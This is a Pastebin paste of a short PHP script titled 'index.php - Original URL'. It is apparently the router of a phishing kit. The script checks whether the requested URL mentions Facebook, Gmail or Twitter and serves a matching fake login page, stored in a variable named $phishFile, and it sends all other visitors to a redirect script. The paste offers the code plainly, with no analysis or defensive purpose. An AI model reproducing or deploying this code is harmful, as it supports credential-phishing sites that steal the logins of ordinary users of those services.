Advertisement
loozr

index.php - Original URL

Aug 10th, 2012
49
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.39 KB | None | 0 0
  1. <?php
  2.  
  3. $ref = "http://".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
  4. $skipInclude = 0;
  5.  
  6. if (strpos($ref, "facebook"))   { $phishFile = "facebook.htm";
  7. } elseif (strpos($ref, "gmail"))    { $phishFile = "gmail.htm";
  8. } elseif (strpos($ref, "twitter")) { $phishFile = "twitter.htm";
  9. } else { require('redirect.php');
  10. $skipInclude = 1;
  11. }
  12.  
  13. if ($skipInclude == 0) {
  14. include($phishFile);
  15. }
  16.  
  17. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement